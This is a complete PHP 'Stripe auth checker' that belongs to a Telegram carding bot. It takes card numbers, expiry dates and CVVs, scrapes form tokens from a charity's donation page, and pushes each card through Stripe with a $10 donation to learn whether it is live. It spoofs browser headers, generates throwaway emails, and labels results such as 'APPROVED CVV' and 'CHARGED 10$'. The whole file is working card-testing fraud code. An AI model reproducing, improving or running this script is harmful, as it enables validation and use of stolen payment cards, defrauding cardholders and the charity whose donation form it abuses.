<?php
// Stripe 10$ Auth Checker - smofi.org

header('Content-Type: text/plain; charset=utf-8');

// Database connection
$host = 'localhost';
$dbname = 'checkerbotdb3';
$username = 'root';
$password = '';

// Create temporary cookie file
$cookieFile = tempnam(sys_get_temp_dir(), 'stripe_cookie_');

function getCurrentLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT stripegenellimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['stripegenellimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET stripegenellimit = stripegenellimit - 1 WHERE chatid = :chatid AND stripegenellimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Check parameters
if (!isset($_GET['card']) || !isset($_GET['chatid'])) {
    echo "ERROR: Missing parameters\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID\n";
    exit;
}

$chatid = $_GET['chatid'];

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    echo "ERROR: Insufficient limits (Available: {$currentLimit})\n";
    exit;
}

// Deduct limit IMMEDIATELY
decrementLimit($chatid);

$cardParam = $_GET['card'];
$cardParts = explode('|', $cardParam);

if (count($cardParts) != 4) {
    echo "ERROR: Invalid card format\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV\n";
    exit;
}

$cardNumber = trim($cardParts[0]);
$cardMonth = trim($cardParts[1]);
$cardYear = trim($cardParts[2]);
$cardCvv = trim($cardParts[3]);

// Format month
if (strlen($cardMonth) == 1) {
    $cardMonth = '0' . $cardMonth;
}

// Format year
if (strlen($cardYear) == 2) {
    $cardYear = '20' . $cardYear;
} elseif (strlen($cardYear) == 4) {
    $cardYear = $cardYear;
} else {
    echo "ERROR: Invalid year format\n";
    exit;
}

// Generate random email
$emailDomains = ['@gmail.com', '@yahoo.com', '@hotmail.com', '@aol.com', '@mail.com', '@outlook.com', '@icloud.com'];
$randomString = substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'), 0, 10);
$email = $randomString . $emailDomains[array_rand($emailDomains)];

// Start timing
$startTime = microtime(true);

// =====================================================
// STEP 0: Get initial cookies from smofi.org
// =====================================================

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://smofi.org/donations/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'accept-language: tr-TR,tr;q=0.7',
    'user-agent: Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36'
]);

$initialPage = curl_exec($ch);
$httpCode0 = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($httpCode0 != 200) {
    echo "ERROR: Failed to load initial page (HTTP {$httpCode0})\n";
    curl_close($ch);
    unlink($cookieFile);
    exit;
}

// Extract nonce from page
preg_match('/_charitable_donation_nonce["\']?\s*(?:name=|value=)["\']([a-f0-9]+)["\']/', $initialPage, $nonceMatch);
$nonce = isset($nonceMatch[1]) ? $nonceMatch[1] : 'f809a4ba90';

// Extract form ID
preg_match('/charitable_form_id["\']?\s*(?:name=|value=)["\']([a-f0-9]+)["\']/', $initialPage, $formIdMatch);
$formId = isset($formIdMatch[1]) ? $formIdMatch[1] : '691ce48c7730c';

// =====================================================
// STEP 1: Create Stripe Payment Method
// =====================================================

$stripe_headers = [
    'accept: application/json',
    'accept-language: tr-TR,tr;q=0.7',
    'content-type: application/x-www-form-urlencoded',
    'origin: https://js.stripe.com',
    'priority: u=1, i',
    'referer: https://js.stripe.com/',
    'sec-ch-ua: "Chromium";v="142", "Brave";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile: ?0',
    'sec-ch-ua-platform: "Windows"',
    'sec-fetch-dest: empty',
    'sec-fetch-mode: cors',
    'sec-fetch-site: same-site',
    'sec-gpc: 1',
    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
];

$stripe_data = http_build_query([
    'type' => 'card',
    'billing_details[name]' => 'John Doe',
    'billing_details[email]' => $email,
    'card[number]' => $cardNumber,
    'card[cvc]' => $cardCvv,
    'card[exp_month]' => $cardMonth,
    'card[exp_year]' => $cardYear,
    'guid' => '5032a033-800c-4a5b-9195-059410de3e01d3dca1',
    'muid' => 'ae2af742-32a1-4cfd-837d-f511796120f33e6d81',
    'sid' => 'e5cc5587-0d38-4f74-89ed-bfa5e9ba57459d8cc2',
    'payment_user_agent' => 'stripe.js/afbbf31771; stripe-js-v3/afbbf31771; card-element',
    'referrer' => 'https://smofi.org',
    'time_on_page' => rand(20000, 40000),
    'key' => 'pk_live_XFaj9PqKqAqT7rX1Fh5lKR8o00dy0m7DqG'
]);

curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $stripe_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $stripe_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);

$response1 = curl_exec($ch);
$httpCode1 = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "ERROR: " . curl_error($ch) . "\n";
    curl_close($ch);
    unlink($cookieFile);
    exit;
}

$json1 = json_decode($response1, true);

// Check if payment method creation failed
if (isset($json1['error'])) {
    $errorCode = $json1['error']['code'] ?? 'unknown';
    $errorMessage = $json1['error']['message'] ?? 'Unknown error';
    
    $endTime = microtime(true);
    $duration = round($endTime - $startTime, 2);
    
    // Get remaining limit
    $remainingLimit = getCurrentLimit($chatid);
    
    // Map Stripe errors to readable format
    if (strpos($errorMessage, 'number is incorrect') !== false || $errorCode == 'incorrect_number') {
        echo "❌ Incorrect Number | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    } elseif (strpos($errorMessage, 'expired') !== false || $errorCode == 'expired_card') {
        echo "❌ Expired Card | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    } elseif (strpos($errorMessage, 'security code') !== false || $errorCode == 'incorrect_cvc') {
        echo "❌ Incorrect CVV | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    } else {
        echo "❌ {$errorMessage} | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    }
    curl_close($ch);
    unlink($cookieFile);
    exit;
}

// Get payment method ID
if (!isset($json1['id'])) {
    echo "ERROR: Failed to create payment method\n";
    curl_close($ch);
    unlink($cookieFile);
    exit;
}

$paymentMethodId = $json1['id'];

// =====================================================
// STEP 2: Submit donation to smofi.org
// =====================================================

$donation_headers = [
    'accept: application/json, text/javascript, */*; q=0.01',
    'accept-language: tr-TR,tr;q=0.7',
    'content-type: application/x-www-form-urlencoded; charset=UTF-8',
    'origin: https://smofi.org',
    'priority: u=1, i',
    'referer: https://smofi.org/donations/',
    'sec-ch-ua: "Chromium";v="142", "Brave";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile: ?0',
    'sec-ch-ua-platform: "Windows"',
    'sec-fetch-dest: empty',
    'sec-fetch-mode: cors',
    'sec-fetch-site: same-origin',
    'sec-gpc: 1',
    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'x-requested-with: XMLHttpRequest'
];

$donation_data = [
    'charitable_form_id' => $formId,
    $formId => '',
    '_charitable_donation_nonce' => $nonce,
    '_wp_http_referer' => '/donations/',
    'campaign_id' => '2600',
    'description' => 'Donations to SMOFI',
    'ID' => '0',
    'donation_amount' => 'custom',
    'custom_donation_amount' => '10.00',
    'first_name' => 'John',
    'last_name' => 'Doe',
    'phone_number' => '1234567890',
    'email' => $email,
    'charitable_spamblocker_math_field' => '10',
    'donor_comment' => '',
    'gateway' => 'stripe',
    'stripe_payment_method' => $paymentMethodId,
    'action' => 'make_donation',
    'form_action' => 'make_donation'
];

curl_setopt($ch, CURLOPT_URL, 'https://smofi.org/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($donation_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $donation_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);

$response2 = curl_exec($ch);
$httpCode2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);
unlink($cookieFile);

$endTime = microtime(true);
$duration = round($endTime - $startTime, 2);

// Parse response and determine result
$json2 = json_decode($response2, true);

// Get remaining limit (before decrement for success cases)
$remainingLimit = getCurrentLimit($chatid);

// Check for form submission errors
if (isset($json2['success']) && $json2['success'] === false) {
    if (isset($json2['errors']) && is_array($json2['errors'])) {
        $errorMsg = implode(' ', $json2['errors']);
        if (strpos($errorMsg, 'Unable to submit form') !== false || strpos($errorMsg, 'unable to verify') !== false) {
            echo "❌ Form Verification Failed | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        } else {
            echo "❌ {$errorMsg} | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        }
    } else {
        echo "❌ Submission Failed | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    }
} elseif (strpos($response2, 'card_declined') !== false) {
    echo "❌ Card Declined | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'Your card was declined.') !== false) {
    echo "❌ Card Declined | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'Your card number is incorrect.') !== false) {
    echo "❌ Incorrect Number | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'expired_card') !== false) {
    echo "❌ Expired Card | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'insufficient_funds') !== false) {
    echo "✅ APPROVED CVV | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'processing_error') !== false) {
    echo "❌ Processing Error | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'stolen_card') !== false) {
    echo "❌ Stolen Card | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'fraudulent') !== false) {
    echo "❌ Fraudulent | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'card_not_supported') !== false) {
    echo "❌ Card Not Supported | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'success":true') !== false) {
    echo "✅ CHARGED 10$ | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} elseif (strpos($response2, 'requires_action') !== false) {
    echo "✅ APPROVED 3DS | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} else {
    echo "❌ Unknown Response | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
}
?>
